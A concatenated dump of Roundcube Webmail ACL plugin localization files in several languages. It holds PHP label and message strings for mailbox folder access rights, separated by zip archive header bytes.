$messages['deleting'] = 'Mafên têketinê tên jêbirin...';
$messages['saving'] = 'Mafên têketinê tên tomarkirin...';
$messages['updatesuccess'] = 'Mafên têketinê bi serkeftin hatin guhartin';
$messages['deletesuccess'] = 'Mafên têketinê bi serkeftin hatin jêbirin';
$messages['createsuccess'] = 'Mafên têketinê bi serkeftin hatin tevkirin';
$messages['updateerror'] = 'Nûkirina mafên têketinê bigire';
$messages['deleteerror'] = 'Jêbirina mafên têketinê bigire';
$messages['createerror'] = 'Tevkirina mafên têketinê bigire';
$messages['deleteconfirm'] = 'Tu ewle yî, dixwazî mafên têketinê yên bikarhênerê(n) bijartî rakî?';
$messages['norights'] = 'Tu maf nehat diyarkirin!';
$messages['nouser'] = 'Tu bikarhêner nehat diyarkirin!';
PKh�\1�N)��"plugins/acl/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Compartilhamento';
$labels['myrights'] = 'Permissões de Acesso';
$labels['username'] = 'Usuário:';
$labels['advanced'] = 'Modo avançado';
$labels['add'] = 'Adicionar';
$labels['newuser'] = 'Adicionar entrada';
$labels['editperms'] = 'Editar permissões';
$labels['actions'] = 'Ações de direito de acesso...';
$labels['anyone'] = 'Todos os usuários (qualquer um)';
$labels['anonymous'] = 'Convidados (anônimos)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Pesquisar';
$labels['aclr'] = 'Ler mensagens';
$labels['acls'] = 'Manter estado de enviado';
$labels['aclw'] = 'Salvar marcadores';
$labels['acli'] = 'Inserir (Cópia em)';
$labels['aclp'] = 'Enviar';
$labels['aclc'] = 'Criar subpastas';
$labels['aclk'] = 'Criar subpastas';
$labels['acld'] = 'Apagar mensagens';
$labels['aclt'] = 'Apagar mensagens';
$labels['acle'] = 'Expurgar';
$labels['aclx'] = 'Excluir pasta';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Inserir anotações nas mensagens';
$labels['aclfull'] = 'Controle total';
$labels['aclother'] = 'Outro';
$labels['aclread'] = 'Ler';
$labels['aclwrite'] = 'Salvar';
$labels['acldelete'] = 'Excluir';
$labels['shortacll'] = 'Pesquisar';
$labels['shortaclr'] = 'Ler';
$labels['shortacls'] = 'Manter';
$labels['shortaclw'] = 'Salvar';
$labels['shortacli'] = 'Inserir';
$labels['shortaclp'] = 'Enviar';
$labels['shortaclc'] = 'Criar';
$labels['shortaclk'] = 'Criar';
$labels['shortacld'] = 'Excluir';
$labels['shortaclt'] = 'Excluir';
$labels['shortacle'] = 'Expurgar';
$labels['shortaclx'] = 'Excluir pasta';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Anotar';
$labels['shortaclother'] = 'Outro';
$labels['shortaclread'] = 'Ler';
$labels['shortaclwrite'] = 'Salvar';
$labels['shortacldelete'] = 'Excluir';
$labels['longacll'] = 'A pasta está visível nas listas e pode ser inscrita para';
$labels['longaclr'] = 'A pasta pode ser aberta para leitura';
$labels['longacls'] = 'Marcador de Mensagem Enviada pode ser modificadas';
$labels['longaclw'] = 'Marcadores de mensagens e palavras-chave podem ser modificadas, exceto de Enviadas e Excluídas';
$labels['longacli'] = 'As mensagens podem ser escritas ou copiadas para a pasta';
$labels['longaclp'] = 'As mensagens podem ser enviadas para esta pasta';
$labels['longaclc'] = 'As pastas podem ser criadas (ou renomeadas) diretamente sob esta pasta';
$labels['longaclk'] = 'As pastas podem ser criadas (ou renomeadas) diretamente sob esta pasta';
$labels['longacld'] = 'O marcador de Mensagens Excluídas podem ser modificadas';
$labels['longaclt'] = 'O marcador de Mensagens Excluídas podem ser modificadas';
$labels['longacle'] = 'As mensagens podem ser expurgadas';
$labels['longaclx'] = 'A pasta pode ser apagada ou renomeada';
$labels['longacla'] = 'As permissões de acesso da pasta podem ser alteradas';
$labels['longacln'] = 'Metadados compartilhados das mensagens (anotações) podem ser alterados';
$labels['longaclfull'] = 'Controle total incluindo a pasta de administração';
$labels['longaclread'] = 'A pasta pode ser aberta para leitura';
$labels['longaclwrite'] = 'As mensagens podem ser marcadas, salvas ou copiadas para a pasta';
$labels['longacldelete'] = 'Mensagens podem ser apagadas';
$labels['longaclother'] = 'Outras permissões de acesso';
$labels['ariasummaryacltable'] = 'Lista de permissões de acesso';
$labels['arialabelaclactions'] = 'Lista de ações';
$labels['arialabelaclform'] = 'Formulário de permissões de acesso';
$messages['deleting'] = 'Apagando permissões de acesso...';
$messages['saving'] = 'Salvando permissões de acesso...';
$messages['updatesuccess'] = 'Permissões de acesso alteradas com sucesso';
$messages['deletesuccess'] = 'Permissões de acesso apagadas com sucesso';
$messages['createsuccess'] = 'Permissões de acesso adicionadas com sucesso';
$messages['updateerror'] = 'Não foi possível atualizar as permissões de acesso';
$messages['deleteerror'] = 'Não foi possível apagar as permissões de acesso';
$messages['createerror'] = 'Não foi possível adicionar as permissões de acesso';
$messages['deleteconfirm'] = 'Tem certeza que deseja remover as permissões de acesso do(s) usuário(s) delecionado(s)?';
$messages['norights'] = 'Não foram definidas permissões!';
$messages['nouser'] = 'Nome de usuário não especificado!';
PKh�\�����"plugins/acl/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Dalīšanās';
$labels['myrights'] = 'Piekļuves tiesības';
$labels['username'] = 'Lietotājs:';
$labels['advanced'] = 'Paplašinātais režīms';
$labels['add'] = 'Pievienot';
$labels['newuser'] = 'Pievienot ierakstu';
$labels['editperms'] = 'Rediģēt piejas';
$labels['actions'] = 'Darbības ar piekļuves tiesībām...';
$labels['anyone'] = 'Visi lietotāji (ikviens)';
$labels['anonymous'] = 'Viesi (anonīmie)';
$labels['identifier'] = 'Identifikators';
$labels['acll'] = 'Atrast';
$labels['aclr'] = 'Lasīt ziņojumus';
$labels['acls'] = 'Paturēt "Redzētā" statusu';
$labels['aclw'] = 'Saglabāt atzīmes';
$labels['acli'] = 'Ievietot (Iekopēt)';
$labels['aclp'] = 'Nosūtīt';
$labels['aclc'] = 'Izveidot apakšmapes';
$labels['aclk'] = 'Izveidot apakšmapes';
$labels['acld'] = 'Dzēst ziņojumus';
$labels['aclt'] = 'Dzēst ziņojumus';
$labels['acle'] = 'Izdzēst';
$labels['aclx'] = 'Dzēst mapi';
$labels['acla'] = 'Pārvaldīt';
$labels['acln'] = 'Anotēt e-pastus';
$labels['aclfull'] = 'Pilna kontrole';
$labels['aclother'] = 'Cits';
$labels['aclread'] = 'Lasīt';
$labels['aclwrite'] = 'Rakstīt';
$labels['acldelete'] = 'Dzēst';
$labels['shortacll'] = 'Atrast';
$labels['shortaclr'] = 'Lasīt';
$labels['shortacls'] = 'Paturēt';
$labels['shortaclw'] = 'Rakstīt';
$labels['shortacli'] = 'Ievietot';
$labels['shortaclp'] = 'Nosūtīt';
$labels['shortaclc'] = 'Izveidot';
$labels['shortaclk'] = 'Izveidot';
$labels['shortacld'] = 'Dzēst';
$labels['shortaclt'] = 'Dzēst';
$labels['shortacle'] = 'Izdzēst';
$labels['shortaclx'] = 'Mapes dzēšana';
$labels['shortacla'] = 'Pārvaldīt';
$labels['shortacln'] = 'Anotēt';
$labels['shortaclother'] = 'Cits';
$labels['shortaclread'] = 'Lasīt';
$labels['shortaclwrite'] = 'Rakstīt';
$labels['shortacldelete'] = 'Dzēst';
$labels['longacll'] = 'Mape ir redzama kopējā mapju sarakstā un var tikt abonēta';
$labels['longaclr'] = 'Ši mape var tikt atvērta lasīšanai';
$labels['longacls'] = 'Ziņojumu "Redzēts" atzīme var tik mainīta';
$labels['longaclw'] = 'Ziņojumu atzīmes, izņemot "Redzēts" un "Dzēsts", un atslēgvārdi var tik mainīti';
$labels['longacli'] = 'Ziņojumi var tikt  ierakstīti vai pārkopēti uz šo mapi';
$labels['longaclp'] = 'Vēstules var tikt ievietotas šajā mapē';
$labels['longaclc'] = 'Zem šīs mapes pa tiešo var tikt izveidotas (vai pārsauktas) citas mapes';
$labels['longaclk'] = 'Zem šīs mapes pa tiešo var tikt izveidotas (vai pārsauktas) citas mapes';
$labels['longacld'] = 'Ziņojumu "Dzēst" atzīme var tikt mainīta';
$labels['longaclt'] = 'Ziņojumu "Dzēst" atzīme var tikt mainīta';
$labels['longacle'] = 'Vēstules var tikt izdzēstas';
$labels['longaclx'] = 'Mape var tikt gan dzēsta, gan pārdēvēta';
$labels['longacla'] = 'Mapes pieejas tiesības var tikt izmainītas';
$labels['longacln'] = 'E-pastu koplietotie meta dati (anotācijas) var tikt mainīti';
$labels['longaclfull'] = 'Pilna kontrole, iekļaujot arī mapju administrēšanu';
$labels['longaclread'] = 'Mape var tikt atvērta lasīšanai';
$labels['longaclwrite'] = 'Ziņojumi mapē var tikt gan atzīmēti, gan ierakstīti vai arī pārkopēti uz mapi';
$labels['longacldelete'] = 'Vēstules var tikt izdzēstas';
$labels['longaclother'] = 'Pieejas tiesības citiem';
$labels['ariasummaryacltable'] = 'Pieejas tiesību saraksts';
$labels['arialabelaclactions'] = 'Darbību saraksts';
$labels['arialabelaclform'] = 'Pieejas tiesību forma';
$messages['deleting'] = 'Dzēš piekļuves tiesības...';
$messages['saving'] = 'Saglabā piekļuves tiesības...';
$messages['updatesuccess'] = 'Piekļuves tiesības tika veiksmīgi samainītas';
$messages['deletesuccess'] = 'Piekļuves tiesības tika veiksmīgi izdzēstas';
$messages['createsuccess'] = 'Piekļuves tiesības tika veiksmīgi pievienotas';
$messages['updateerror'] = 'Pieejas tiesības nomainīt neizdevās';
$messages['deleteerror'] = 'Piekļuves tiesības izdzēst neizdevās';
$messages['createerror'] = 'Piekļuves tiesības pievienot neizdevās';
$messages['deleteconfirm'] = 'Vai tiešām atzīmētajiem lietotājiem noņemt piekļuves tiesības?';
$messages['norights'] = 'Netika norādītas tiesības!';
$messages['nouser'] = 'Netika norādīts lietotājvārds!';
PKh�\P�{���"plugins/acl/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Zdieľanie';
$labels['myrights'] = 'Prístupové oprávnenia';
$labels['username'] = 'Používateľ:';
$labels['advanced'] = 'Režim pre pokročilých';
$labels['add'] = 'Pridať';
$labels['newuser'] = 'Pridať záznam';
$labels['editperms'] = 'Upraviť oprávnenia';
$labels['actions'] = 'Prístupové práva pre akcie...';
$labels['anyone'] = 'Všetci užívatelia (ktokoľvek)';
$labels['anonymous'] = 'Hostia (anonymní)';
$labels['identifier'] = 'Identifikátor';
$labels['acll'] = 'Vyhľadať';
$labels['aclr'] = 'Čítať správy';
$labels['acls'] = 'Ponechať ako prečítané';
$labels['aclw'] = 'Príznaky pre zápis';
$labels['acli'] = 'Vložiť (Skopírovať do)';
$labels['aclp'] = 'Odoslať na';
$labels['aclc'] = 'Vytvoriť podpriečinky';
$labels['aclk'] = 'Vytvoriť podpriečinky';
$labels['acld'] = 'Vymazať správy';
$labels['aclt'] = 'Vymazať správy';
$labels['acle'] = 'Vyčistiť';
$labels['aclx'] = 'Vymazať priečinok';
$labels['acla'] = 'Spravovať';
$labels['acln'] = 'Označiť správy poznámkou';
$labels['aclfull'] = 'Úplný prístup';
$labels['aclother'] = 'Iné';
$labels['aclread'] = 'Čítanie';
$labels['aclwrite'] = 'Zápis';
$labels['acldelete'] = 'Odstránenie';
$labels['shortacll'] = 'Vyhľadať';
$labels['shortaclr'] = 'Čítanie';
$labels['shortacls'] = 'Ponechať';
$labels['shortaclw'] = 'Zápis';
$labels['shortacli'] = 'Vložiť';
$labels['shortaclp'] = 'Odoslať na';
$labels['shortaclc'] = 'Vytvoriť';
$labels['shortaclk'] = 'Vytvoriť';
$labels['shortacld'] = 'Vymazať';
$labels['shortaclt'] = 'Vymazať';
$labels['shortacle'] = 'Vyčistiť';
$labels['shortaclx'] = 'Vymazať priečinok';
$labels['shortacla'] = 'Spravovať';
$labels['shortacln'] = 'Označiť poznámkou';
$labels['shortaclother'] = 'Iné';
$labels['shortaclread'] = 'Čítanie';
$labels['shortaclwrite'] = 'Zápis';
$labels['shortacldelete'] = 'Odstránenie';
$labels['longacll'] = 'Priečinok je v zoznamoch viditeľný a dá sa k nemu prihlásiť';
$labels['longaclr'] = 'Prečinok je možné otvoriť na čítanie';
$labels['longacls'] = 'Príznak "Prečítané" je možné zmeniť';
$labels['longaclw'] = 'Príznaky správ a kľúčové slová je možné zmeniť, okrem "Prečítané" a "Vymazané"';
$labels['longacli'] = 'Do tohto priečinka je možné zapisovať alebo kopírovať správy';
$labels['longaclp'] = 'Do tohto priečinka je možné publikovať správy';
$labels['longaclc'] = 'Priečinky je možné vytvárať (alebo premenovávať) priamo v tomto priečinku';
$labels['longaclk'] = 'Priečinky je možné vytvárať (alebo premenovávať) priamo v tomto priečinku';
$labels['longacld'] = 'Príznak správ "Vymazané" je možné zmeniť';
$labels['longaclt'] = 'Príznak správ "Vymazané" je možné zmeniť';
$labels['longacle'] = 'Správy je možné vyčistiť';
$labels['longaclx'] = 'Priečinok je možné vymazať alebo premenovať';
$labels['longacla'] = 'Prístupové oprávnenia k tomuto priečinku je možné zmeniť';
$labels['longacln'] = 'Meta-dáta (poznámky) zdieľané medzi správami, je možné zmeniť';
$labels['longaclfull'] = 'Úplný prístup, vrátane správy priečinka';
$labels['longaclread'] = 'Prečinok je možné otvoriť na čítanie';
$labels['longaclwrite'] = 'Správy je možné označiť, zapísať alebo skopírovať do prečinka';
$labels['longacldelete'] = 'Správy je možné vymazať';
$labels['longaclother'] = 'Iné prístupové oprávnenia';
$labels['ariasummaryacltable'] = 'Zoznam prístupových oprávnení';
$labels['arialabelaclactions'] = 'Zoznam akcií';
$labels['arialabelaclform'] = 'Formulár pre prístupové oprávnenia';
$messages['deleting'] = 'Odstraňovanie prístupových oprávnení...';
$messages['saving'] = 'Ukladanie prístupových oprávnení...';
$messages['updatesuccess'] = 'Prístupové oprávnenia boli úspešne zmenené';
$messages['deletesuccess'] = 'Prístupové oprávnenia boli úspešne vymazané';
$messages['createsuccess'] = 'Prístupové oprávnenia boli úspešne pridané';
$messages['updateerror'] = 'Nemožno aktualizovať prístupové oprávnenia';
$messages['deleteerror'] = 'Prístupové oprávnenia sa nepodarilo vymazať';
$messages['createerror'] = 'Prístupové oprávnenia sa nepodarilo pridať';
$messages['deleteconfirm'] = 'Naozaj chcete odstrániť prístupové oprávnenia vybraného používateľa?';
$messages['norights'] = 'Neboli určené žiadne oprávnenia!';
$messages['nouser'] = 'Nebolo určené žiadne meno používateľa!';
PKh�\���9��"plugins/acl/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Sdílení';
$labels['myrights'] = 'Přístupová práva';
$labels['username'] = 'Uživatel:';
$labels['advanced'] = 'Pokročilý režim';
$labels['add'] = 'Přidej';
$labels['newuser'] = 'Přidat záznam';
$labels['editperms'] = 'Upravit oprávnění';
$labels['actions'] = 'Přístupové právo akce ...';
$labels['anyone'] = 'Všichni uživatelé (kdokoli)';
$labels['anonymous'] = 'Hosté (anonymní)';
$labels['identifier'] = 'Identifikátor';
$labels['acll'] = 'Vyhledat';
$labels['aclr'] = 'Číst zprávy';
$labels['acls'] = 'Ponechat stav Přečteno';
$labels['aclw'] = 'Zapsat označení';
$labels['acli'] = 'Vložit (Kopírovat do)';
$labels['aclp'] = 'Odeslat';
$labels['aclc'] = 'Vytvořit podsložky';
$labels['aclk'] = 'Vytvořit podsložky';
$labels['acld'] = 'Smazat zprávy';
$labels['aclt'] = 'Smazat zprávy';
$labels['acle'] = 'Vyprázdnit';
$labels['aclx'] = 'Smazat složku';
$labels['acla'] = 'Spravovat';
$labels['acln'] = 'Označit zprávy poznámkou';
$labels['aclfull'] = 'Plný přístup';
$labels['aclother'] = 'Ostatní';
$labels['aclread'] = 'Číst';
$labels['aclwrite'] = 'Zapsat';
$labels['acldelete'] = 'Smazat';
$labels['shortacll'] = 'Vyhledat';
$labels['shortaclr'] = 'Číst';
$labels['shortacls'] = 'Zachovat';
$labels['shortaclw'] = 'Zapsat';
$labels['shortacli'] = 'Vložit';
$labels['shortaclp'] = 'Odeslat';
$labels['shortaclc'] = 'Vytvořit';
$labels['shortaclk'] = 'Vytvořit';
$labels['shortacld'] = 'Smazat';
$labels['shortaclt'] = 'Smazat';
$labels['shortacle'] = 'Vyprázdnit';
$labels['shortaclx'] = 'Mazat složky';
$labels['shortacla'] = 'Spravovat';
$labels['shortacln'] = 'Označit poznámkou';
$labels['shortaclother'] = 'Ostatní';
$labels['shortaclread'] = 'Číst';
$labels['shortaclwrite'] = 'Zapsat';
$labels['shortacldelete'] = 'Smazat';
$labels['longacll'] = 'Složka je viditelná v seznamu a může být přihlášena';
$labels['longaclr'] = 'Složka může být otevřena pro čtení';
$labels['longacls'] = 'Označená zpráva byla změněna';
$labels['longaclw'] = 'Značky a klíčová slova u zpráv je možné měnit, kromě příznaku Přečteno a Smazáno';
$labels['longacli'] = 'Zpráva může být napsána nebo zkopírována do složky';
$labels['longaclp'] = 'Zpráva může být odeslána do této složky';
$labels['longaclc'] = 'Složka může být vytvořena (nebo přejmenována) přimo v této složce';
$labels['longaclk'] = 'Složka může být vytvořena (nebo přejmenována) přimo v této složce';
$labels['longacld'] = 'Příznak smazané zprávy může být změněn';
$labels['longaclt'] = 'Příznak smazané zprávy může být změněn';
$labels['longacle'] = 'Zpráva může být smazána';
$labels['longaclx'] = 'Složka může být smazána nebo přejmenována';
$labels['longacla'] = 'Přístupová práva složky mohou být změněna';
$labels['longacln'] = 'Zprávamy sdílené metadata (poznámky) mohou být změněny';
$labels['longaclfull'] = 'Plný přístup včetně správy složky';
$labels['longaclread'] = 'Složka může být otevřena pro čtení';
$labels['longaclwrite'] = 'Zpráva může být označena, napsána nebo zkopírována do složky';
$labels['longacldelete'] = 'Zprávy mohou být smazány';
$labels['longaclother'] = 'Jiná přístupová oprávnění';
$labels['ariasummaryacltable'] = 'Seznam oprávnění';
$labels['arialabelaclactions'] = 'Seznam akcí';
$labels['arialabelaclform'] = 'Formulář pro přístupová oprávnění';
$messages['deleting'] = 'Odstraňuji přístupová práva...';
$messages['saving'] = 'Ukládám přístupová práva...';
$messages['updatesuccess'] = 'Přístupová práva byla změněna';
$messages['deletesuccess'] = 'Přístupová práva byla odstraněna';
$messages['createsuccess'] = 'Přístupová práva byla přidána';
$messages['updateerror'] = 'Úprava přístupových práv se nezdařila';
$messages['deleteerror'] = 'Smazání přístupových práv se nezdařilo';
$messages['createerror'] = 'Přidání přístupových práv se nezdařilo';
$messages['deleteconfirm'] = 'Opravdu si přejete odstranit přístupová práva pro vybrané(ho) uživatele?';
$messages['norights'] = 'Nejsou specifikována žádná práva!';
$messages['nouser'] = 'Není specifikováno uživatelské jméno!';
PKh�\?�E

plugins/acl/localization/ti.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'ንኻልእ';
$labels['myrights'] = 'መሰላት በዓል ዋና';
$labels['username'] = 'በዓል ዋና';
$labels['newuser'] = 'እታዎ ክውስኽ';
$labels['actions'] = 'ንጥፈታት መብት ተጠቃማይነት';
$labels['anyone'] = 'ኩሉም በዓልቲ ዋናታት(ዝኾነ ሰብ)';
$labels['anonymous'] = 'ጋሻ(ሽም አልቦ)';
$labels['identifier'] = 'መለለዪ';
$labels['acll'] = 'አለሻ';
$labels['aclr'] = 'ዝተነበቡ መልእኽታት';
$labels['acls'] = 'ተራእዩ ብዝብል ይጽናሕ';
$labels['aclw'] = 'ምልክታት ምጽሓፍ';
$labels['acli'] = 'ሸጉጥ(አብ..መንጎ አቐምጥ)';
$labels['aclp'] = 'ጠቅዕ';
$labels['aclc'] = 'ማህደር ፍጠር';
$labels['aclk'] = 'ክፍለማህደር ፍጠር';
$labels['acld'] = 'መልእኽታት አጥፍእ';
$labels['aclt'] = 'መልእኽታት አጥፍእ';
$labels['acle'] = 'ንሓዋሩ አጥፍእ';
$labels['aclx'] = 'ማህደር አጥፍእ';
$labels['acla'] = 'ተቖፃፀር';
$labels['aclfull'] = 'ምሉእ ቑጽፅር';
$labels['aclother'] = 'ካሊእ';
$labels['aclread'] = 'ከንብብ';
$labels['aclwrite'] = 'ክጽሕፍ';
$labels['acldelete'] = 'ይጥፈአለይ';
$labels['shortacll'] = 'አለሻ';
$labels['shortaclr'] = 'ዝተነበበ';
$labels['shortacls'] = 'ይፅናሕ';
$labels['shortaclw'] = 'ይጽሓፍ';
$labels['shortacli'] = 'ይሸጎጥ';
$labels['shortaclp'] = 'ይጠቃዕ';
$labels['shortaclc'] = 'ይፈጠር';
$labels['shortaclk'] = 'ይፈጠር';
$labels['shortacld'] = 'ይጥፋእ';
$labels['shortaclt'] = 'ይጥፋእ';
$labels['shortacle'] = 'ንሓዋሩ ይጥፋእ';
$labels['shortaclx'] = 'ዝጠፍእ ማህደር';
$labels['shortacla'] = 'ክቆፃፀር';
$labels['shortaclother'] = 'ካሊእ';
$labels['shortaclread'] = 'ከንብብ';
$labels['shortaclwrite'] = 'ክጽሕፍ';
$labels['shortacldelete'] = 'ይጥፋእ';
$labels['longaclr'] = 'ማህደር ተኸፊቱ ክንበብ ይኽእል';
$labels['longacls'] = 'ተራእዩ ዝብል መልእኽቲ ዕላም ክለወጥ ይኽእል';
$labels['longaclw'] = 'ዕላማትን መፍትሕ ቃላትን መልኽትታት ክልወጡ ይኽእሉ, ብዘይካ ዝተረኣዩን ዝጠፍኡን';
$labels['longacli'] = 'መልእኽቲ ናብዚ ማህደር ክጽሓፍ ወይ ክቕዳሕ ይኽእል';
$labels['longaclp'] = 'መልእኽቲ ናብዚ ማህደር ክኣቱ ይኽእል';
$labels['longaclread'] = 'ማህደር ተኸፊቱ ክንበብ ይኽእል';
PKh�\&�799"plugins/acl/localization/ta_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/


$labels['acldelete'] = 'நீக்கு';
$labels['shortaclc'] = 'உருவாக்கு';
$labels['shortaclk'] = 'உருவாக்கு';
$labels['shortacld'] = 'நீக்கு';
$labels['shortaclt'] = 'நீக்கு';
$labels['shortacldelete'] = 'நீக்கு';
PKh�\L;υ�"plugins/acl/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Delen';
$labels['myrights'] = 'Toegangsrechten';
$labels['username'] = 'Gebruiker:';
$labels['advanced'] = 'Gevorderde modus';
$labels['add'] = 'Toevoegen';
$labels['newuser'] = 'Invoer toevoegen';
$labels['editperms'] = 'Machtigingen bewerken';
$labels['actions'] = 'Toegang juiste acties...';
$labels['anyone'] = 'Alle gebruikers (iedereen)';
$labels['anonymous'] = 'Gasten (anoniem)';
$labels['identifier'] = 'Identificator';
$labels['acll'] = 'Opzoeken';
$labels['aclr'] = 'Lees berichten';
$labels['acls'] = 'Houd Bekeken status';
$labels['aclw'] = 'Schrijf flags';
$labels['acli'] = 'Invoegen ( Kopieer in)';
$labels['aclp'] = 'Post';
$labels['aclc'] = 'Submappen aanmaken';
$labels['aclk'] = 'Submappen aanmaken';
$labels['acld'] = 'Berichten verwijderen';
$labels['aclt'] = 'Berichten verwijderen';
$labels['acle'] = 'Schrappen';
$labels['aclx'] = 'Map verwijderen';
$labels['acla'] = 'Beheer';
$labels['acln'] = 'Berichten van commentaar voorzien';
$labels['aclfull'] = 'Volledige controle';
$labels['aclother'] = 'Andere';
$labels['aclread'] = 'Lees';
$labels['aclwrite'] = 'Schrijf';
$labels['acldelete'] = 'Verwijderen';
$labels['shortacll'] = 'Opzoeken';
$labels['shortaclr'] = 'Lees';
$labels['shortacls'] = 'Bewaar';
$labels['shortaclw'] = 'Schrijf';
$labels['shortacli'] = 'Voeg in';
$labels['shortaclp'] = 'Post';
$labels['shortaclc'] = 'Aanmaken';
$labels['shortaclk'] = 'Aanmaken';
$labels['shortacld'] = 'Verwijderen';
$labels['shortaclt'] = 'Verwijderen';
$labels['shortacle'] = 'Schrappen';
$labels['shortaclx'] = 'Map verwijderen';
$labels['shortacla'] = 'Beheer';
$labels['shortacln'] = 'Maak aantekeningen';
$labels['shortaclother'] = 'Andere';
$labels['shortaclread'] = 'Lees';
$labels['shortaclwrite'] = 'Schrijf';
$labels['shortacldelete'] = 'Verwijderen';
$labels['longacll'] = 'De map is zichtbaar op lijsten en kan worden ingeschreven op';
$labels['longaclr'] = 'De map kan worden geopend om te lezen';
$labels['longacls'] = 'Berichten Bekeken flag kan worden gewijzigd';
$labels['longaclw'] = 'Berichten flags en sleutelwoorden kunnen worden gewijzigd, behalve Bekeken en Verwijderd';
$labels['longacli'] = 'Berichten kunnen worden geschreven of gekopieerd naar de map';
$labels['longaclp'] = 'Berichten kunnen in deze map worden geplaatst';
$labels['longaclc'] = 'Mappen kunnen rechtstreeks onder deze map worden aangemaakt (of hernoemd).';
$labels['longaclk'] = 'Mappen kunnen rechtstreeks onder deze map worden aangemaakt (of hernoemd).';
$labels['longacld'] = 'Berichten Verwijderen flag kan worden gewijzigd';
$labels['longaclt'] = 'Messages Delete flag can be changed';
$labels['longacle'] = 'Berichten kunnen worden vernietigd';
$labels['longaclx'] = 'De map kan worden verwijderd of hernoemd';
$labels['longacla'] = 'De toegangsrechten voor de map kunnen gewijzigd worden';
$labels['longacln'] = 'Berichten gedeelde metadata ( aantekeningen) kunnen worden gewijzigd';
$labels['longaclfull'] = 'Volledige controle, inclusief mapbeheer';
$labels['longaclread'] = 'De map kan worden geopend om te lezen';
$labels['longaclwrite'] = 'Berichten kunnen worden gemarkeerd, geschreven of gekopieerd naar de map';
$labels['longacldelete'] = 'Berichten kunnen worden verwijderd';
$labels['longaclother'] = 'Andere toegangsrechten';
$labels['ariasummaryacltable'] = 'Lijst toegangsrechten';
$labels['arialabelaclactions'] = 'Lijst acties';
$labels['arialabelaclform'] = 'Formulier toegangsrechten';
$messages['deleting'] = 'Toegangsrechten verwijderen...';
$messages['saving'] = 'Toegangsrechten opslaan...';
$messages['updatesuccess'] = 'Toegangsrechten succesvol gewijzigd';
$messages['deletesuccess'] = 'Toegangsrechten succesvol verwijderd';
$messages['createsuccess'] = 'Toegangsrechten succesvol toegevoegd';
$messages['updateerror'] = 'Kan toegangsrechten niet bijwerken';
$messages['deleteerror'] = 'Kan toegangsrechten niet verwijderen';
$messages['createerror'] = 'Kan geen toegangsrechten toevoegen';
$messages['deleteconfirm'] = 'Weet u zeker dat u de toegangsrechten van de geselecteerde gebruiker(s) wilt verwijderen?';
$messages['norights'] = 'Er zijn geen rechten gespecificeerd!';
$messages['nouser'] = 'Er is geen gebruikersnaam opgegeven!';
PKh�\�}�		"plugins/acl/localization/hi_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/


$labels['acldelete'] = 'मिटा';
$labels['shortaclc'] = 'बनाऐं';
$labels['shortaclk'] = 'बनाऐं';
